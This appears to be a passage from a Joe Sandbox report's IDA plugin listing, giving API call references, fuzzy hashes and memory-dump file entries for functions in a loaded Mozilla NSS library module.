Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$AlgorithmPolicy
String ID:
API String ID: 644051021-0
Opcode ID: bf20f5dafaf16dd471eacba27c37659399fc0878e648f0abe606c081469b5aee
Instruction ID: 087a4ab0625cd8aa797436eb47f583a7ddd38d90a1ccb697d6b441fcfa4a833b
Opcode Fuzzy Hash: bf20f5dafaf16dd471eacba27c37659399fc0878e648f0abe606c081469b5aee
Instruction Fuzzy Hash: 8A91E372E082599BEF10DA6CCC417BA3770DF46728F1803A6D5A2BB3D2E36995C58353

Function 6BA65B40 Relevance: 16.7, APIs: 11, Instructions: 200stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,6BA95419,00000000,00000000), ref: 6BA65B59

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_NewLock.NSS3(?,?,6BA95419,00000000,00000000), ref: 6BA65B96
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BA95512,?,?,6BA95419,00000000,00000000), ref: 6BA65C22
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,6BA95419,00000000,00000000), ref: 6BA65C42
PR_NewLock.NSS3(?,?,?,?,?,?,?,6BA95419,00000000,00000000), ref: 6BA65C7E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Lock$ErrorValuememcpystrlen
String ID:
API String ID: 2948281689-0
Opcode ID: d00625e22eceb268d8d81303a7dc9f091d433c65dee478f4fd74ceb1f698a227
Instruction ID: 2de1441cffbf07c5444be7af1fb94d6b00c9d7e05d0b32dda53f269d496403fd
Opcode Fuzzy Hash: d00625e22eceb268d8d81303a7dc9f091d433c65dee478f4fd74ceb1f698a227
Instruction Fuzzy Hash: FC718EB19002199FDB00DF68D981A6A77F8FF04398F144069E9189B342F779E995CBA1

Function 6BA8F9A0 Relevance: 16.7, APIs: 11, Instructions: 195stringmemoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C), ref: 6BA8F9B9

Part of subcall function 6BAA0BE0: malloc.MOZGLUE(6BA98D2D,?,00000000,?), ref: 6BAA0BF8
Part of subcall function 6BAA0BE0: TlsGetValue.KERNEL32(6BA98D2D,?,00000000,?), ref: 6BAA0C15

PR_NewLock.NSS3 ref: 6BA8F9D2

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6BA8FA5A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6BA8FAA0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6BA8FABB
free.MOZGLUE(00000000), ref: 6BA8FB02
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BA8FB12
PR_SetError.NSS3(FFFFE041,00000000), ref: 6BA8FB5F
free.MOZGLUE(?), ref: 6BA8FB6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6BA8FB86
PR_SetError.NSS3(FFFFE040,00000000), ref: 6BA8FBE1

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$strcmp$free$Alloc_LockUtilValuecallocmalloc
String ID:
API String ID: 4237468566-0
Opcode ID: 82151a8351b555a29cd84fb8f15a6e87a3822b50f4cc62d7f17d1d8d6e368a42
Instruction ID: 0a250711894cb81a68c23e94c0485de570670b4a8cc0cefe8216c30b50c59281
Opcode Fuzzy Hash: 82151a8351b555a29cd84fb8f15a6e87a3822b50f4cc62d7f17d1d8d6e368a42
Instruction Fuzzy Hash: 1D61F471E00213AFEF009E659C45B6FBBA4AF10724F18096CDC15A7A91E73AE9C0C7E1

Function 6BA918D0 Relevance: 16.7, APIs: 11, Instructions: 169COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA91926
EnterCriticalSection.KERNEL32 ref: 6BA9193F
PR_Unlock.NSS3 ref: 6BA91962
PR_Unlock.NSS3 ref: 6BA91996
PK11_GetSlotInfo.NSS3 ref: 6BA919A5
TlsGetValue.KERNEL32 ref: 6BA919DC
EnterCriticalSection.KERNEL32 ref: 6BA919F5
PR_Unlock.NSS3 ref: 6BA91A2D
TlsGetValue.KERNEL32 ref: 6BA91A50
EnterCriticalSection.KERNEL32 ref: 6BA91A69
PR_Unlock.NSS3 ref: 6BA91ABC

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$calloc$InfoK11_Slot
String ID:
API String ID: 3878197720-0
Opcode ID: 6b88f2b8ffeddca6c06c316adb075ae8cb6bd297a2a4c0505660d4b743fd4247
Instruction ID: 32f8581878cea29013175077b83084a89676fc5c034787846ee8fd056f862d8e
Opcode Fuzzy Hash: 6b88f2b8ffeddca6c06c316adb075ae8cb6bd297a2a4c0505660d4b743fd4247
Instruction Fuzzy Hash: D1617671914B149FDB60AF78D28573ABBF4BF45304F45496DD88687A00EB38E8C6EB81

Function 6BA43A20 Relevance: 16.6, APIs: 11, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(?), ref: 6BA43A3C

Part of subcall function 6BA9FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6BA49003,?), ref: 6BA9FD91
Part of subcall function 6BA9FD80: PORT_Alloc_Util.NSS3(A4686BAA,?), ref: 6BA9FDA2
Part of subcall function 6BA9FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686BAA,?,?), ref: 6BA9FDC4

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000004), ref: 6BA43A4C

Part of subcall function 6BA9F9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6BA3F379,?,00000000,-00000002), ref: 6BA9F9B7

TlsGetValue.KERNEL32 ref: 6BA43A7F
EnterCriticalSection.KERNEL32(?), ref: 6BA43A96
PL_HashTableLookup.NSS3(?), ref: 6BA43AA9
PL_HashTableRemove.NSS3(?), ref: 6BA43ABC
PL_HashTableAdd.NSS3(?,00000000), ref: 6BA43ACF
PR_Unlock.NSS3 ref: 6BA43ADF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA43AFB
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA43B0A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA43B19

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$Alloc_Zfree$AllocArenaCriticalEnterErrorLookupMark_RemoveSectionUnlockValuememcpy
String ID:
API String ID: 3410065601-0
Opcode ID: 5f8078ec270307c90d913e1ab53ee1388ab92a0937a538a87fccd50897f431e3
Instruction ID: 59b9ae9236f4c050aa7ed72169ee941697bfea0485ed873257babaf689461ab1
Opcode Fuzzy Hash: 5f8078ec270307c90d913e1ab53ee1388ab92a0937a538a87fccd50897f431e3
Instruction Fuzzy Hash: 37314771D00601ABDF216E78AD82B7E76A8EB05309F044238ED18A7311F77BDD95C6A1

Function 6BB52AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6BB52AE8
strdup.MOZGLUE(00000000), ref: 6BB52AFA
PR_ExitMonitor.NSS3 ref: 6BB52B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6BB52B1E
strdup.MOZGLUE(.;\lib), ref: 6BB52B32
PR_ExitMonitor.NSS3 ref: 6BB52B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BB52B59

Strings

LD_LIBRARY_PATH, xrefs: 6BB52B19
.;\lib, xrefs: 6BB52B29, 6BB52B31

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 597aa161d0043a5b0b88ac4074c71d7f0ced14bfdb2849c3f969cae85e7395ac
Instruction ID: 37d94a97ee43983d35a17181480c1fad6513c095ba8d1201994835035603e723
Opcode Fuzzy Hash: 597aa161d0043a5b0b88ac4074c71d7f0ced14bfdb2849c3f969cae85e7395ac
Instruction Fuzzy Hash: 9D01A2BAE401A15BEE206F78AD03B3E37A4DB03A59F080074E805D3112FB2FD824C693

Function 6BADAB00 Relevance: 15.3, APIs: 10, Instructions: 293memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6BADA6D0: PORT_ZAlloc_Util.NSS3(00000A38,00000000,?,6BAD80C1), ref: 6BADA6F9
Part of subcall function 6BADA6D0: memcpy.VCRUNTIME140(00000210,6BBA0BEC,0000011C), ref: 6BADA869

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,?,6BAD80AD), ref: 6BADAB48

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,?,6BAD80AD), ref: 6BADAB8E
PORT_Strdup_Util.NSS3(?,?,?,?,?,6BAD80AD), ref: 6BADABA7
memcpy.VCRUNTIME140(?,00000210,0000011C,?,?,?,?,6BAD80AD), ref: 6BADABFE
memcpy.VCRUNTIME140(?,000006AA,?,?,?,?,?,?,?,?,6BAD80AD), ref: 6BADAC1C
memcpy.VCRUNTIME140(?,000006C0,?,?,?,?,?,?,?,?,?,?,?,6BAD80AD), ref: 6BADAC48

Part of subcall function 6BAD5BC0: PR_EnterMonitor.NSS3(8B105D8B,?,?,6BAD80E3,00000000), ref: 6BAD5BD6
Part of subcall function 6BAD5BC0: PR_EnterMonitor.NSS3(840FC085,?,?,6BAD80E3,00000000), ref: 6BAD5BED
Part of subcall function 6BAD5BC0: PR_EnterMonitor.NSS3(07890478,?,?,6BAD80E3,00000000), ref: 6BAD5C04
Part of subcall function 6BAD5BC0: PR_EnterMonitor.NSS3(000000F4,?,?,6BAD80E3,00000000), ref: 6BAD5C1B
Part of subcall function 6BAD5BC0: PR_Unlock.NSS3(0140BCE8,?,?,6BAD80E3,00000000), ref: 6BAD5C4C
Part of subcall function 6BAD5BC0: PR_Unlock.NSS3(08C48300,?,?,6BAD80E3,00000000), ref: 6BAD5C5F
Part of subcall function 6BAD5BC0: PR_ExitMonitor.NSS3(8B105D8B,?,?,6BAD80E3,00000000), ref: 6BAD5C76
Part of subcall function 6BAD5BC0: PR_ExitMonitor.NSS3(840FC085,?,?,6BAD80E3,00000000), ref: 6BAD5C8D
Part of subcall function 6BAD5BC0: PR_ExitMonitor.NSS3(07890478,?,?,6BAD80E3,00000000), ref: 6BAD5CA4
Part of subcall function 6BAD5BC0: PR_ExitMonitor.NSS3(000000F4,?,?,6BAD80E3,00000000), ref: 6BAD5CBB

PORT_ZAlloc_Util.NSS3(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,6BAD80AD), ref: 6BADACED

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

PORT_ZAlloc_Util.NSS3(0000001C,?,?,?,?,?,?,?,?,?,?,?,?,?,6BAD80AD), ref: 6BADAD52
SECKEY_CopyPrivateKey.NSS3(?), ref: 6BADAEE5
SECKEY_CopyPublicKey.NSS3(?), ref: 6BADAEFC

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$Util$memcpy$Alloc_EnterExit$Copy$Strdup_Unlock$ArenaItem_PrivatePublicValuecalloc
String ID:
API String ID: 3422837898-0
Opcode ID: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction ID: 480d093a17fd6eaf4a4452548bb1fb323fdb1e0bc1fe2108f6c622a7f48b7706
Opcode Fuzzy Hash: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction Fuzzy Hash: 6CD1F7B5A016028FDB44CF68C981BA5B7E5BF48314F0882B9DD1DDF306E734A995CBA1

Function 6BA4BB90 Relevance: 15.2, APIs: 10, Instructions: 187memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

PORT_NewArena_Util.NSS3(00001000), ref: 6BA4BC24
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6BA4BC39
PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6BA4BC58
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6BA4BCBE
CERT_DestroyCertificate.NSS3(?), ref: 6BA4BCDA
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6BA4BD04
CERT_DestroyCertificate.NSS3(?), ref: 6BA4BD13
CERT_DestroyCertificate.NSS3(00000000), ref: 6BA4BD35
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA4BD58
CERT_DestroyCertificate.NSS3(?), ref: 6BA4BD88

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$CertificateDestroy$Alloc_ArenaArena_$CopyCriticalEnterErrorFreeItem_SectionUnlockValue
String ID:
API String ID: 401161163-0
Opcode ID: 17aaab03786d3e06eac94c18516efc9202df4ba28b490d7bb7eec57ce21e2cda
Instruction ID: 3d96401b5524f8abaf10dda7c8beb6ef6c5d9b175b0a09c99d83c9de4b9fc50f
Opcode Fuzzy Hash: 17aaab03786d3e06eac94c18516efc9202df4ba28b490d7bb7eec57ce21e2cda
Instruction Fuzzy Hash: 3051AEB5E003059FEF00CF79DD82AAEB7F5AF88204F584568E815A7251FB38E994CB51

Function 6BA84A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6BA84A4B
PK11_GetInternalSlot.NSS3 ref: 6BA84A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6BA84AC6
TlsGetValue.KERNEL32 ref: 6BA84B17
EnterCriticalSection.KERNEL32(?), ref: 6BA84B2B
PR_Unlock.NSS3(?), ref: 6BA84B77
PK11_FreeSymKey.NSS3(?), ref: 6BA84B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6BA84B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA84BA9
PR_SetError.NSS3(00000000,00000000), ref: 6BA84BC1

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: 16acc0ad9efab2310c75e1c4e3cb1b5ad479dcd661121dd91ca9c8c0a656fa3c
Instruction ID: 76bd701ec7f5eba4cbb68c28fe90b2e6d5544a955253525f23ccf4726466ab97
Opcode Fuzzy Hash: 16acc0ad9efab2310c75e1c4e3cb1b5ad479dcd661121dd91ca9c8c0a656fa3c
Instruction Fuzzy Hash: CC518EB5E002199BDF00DF79D985AAFB7F9EF48304F044069E805A7700EB39ED918BA1

Function 6BA81940 Relevance: 15.2, APIs: 10, Instructions: 164COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6BA8563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6BA8195C
EnterCriticalSection.KERNEL32(?,?,6BA8563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6BA5EAC5,00000001), ref: 6BA81970
PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6BA5EAC5,00000001,?,6BA5CE9B,00000001,6BA5EAC5), ref: 6BA819A0

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

PORT_ArenaMark_Util.NSS3(00000001,?,00000000,00000001,00000002,?,?,?,?,?,6BA5EAC5,00000001,?,6BA5CE9B,00000001,6BA5EAC5), ref: 6BA819BF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSectionValue$ArenaEnterLeaveMark_UnlockUtil
String ID:
API String ID: 3030358274-0
Opcode ID: 79de2bcc678dd17b428ac1e0628eb437af52d7f170fd1a569f58a7d526befb69
Instruction ID: d703cee1f34e303320e9d244c14d46220d00b1916b28c6e803d271954d3a98e4
Opcode Fuzzy Hash: 79de2bcc678dd17b428ac1e0628eb437af52d7f170fd1a569f58a7d526befb69
Instruction Fuzzy Hash: 9E5183B5A00225ABEF00DF68D981F7B77A4EF49754F0844A4EC299B601E739D990CBE1

Function 6BAE4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6BADAEC0,00000A20,00000000), ref: 6BAE4A8B

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6BAE4AAA

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6BAE4ABD

Part of subcall function 6BAA0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6BA42AF5,?,?,?,?,?,6BA40A1B,00000000), ref: 6BAA0F1A
Part of subcall function 6BAA0F10: malloc.MOZGLUE(00000001), ref: 6BAA0F30
Part of subcall function 6BAA0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BAA0F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6BAE4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6BAE4AEC

Part of subcall function 6BA9FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6BAE4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6BAE4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6BAE4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BAE4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6BAE4B7E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

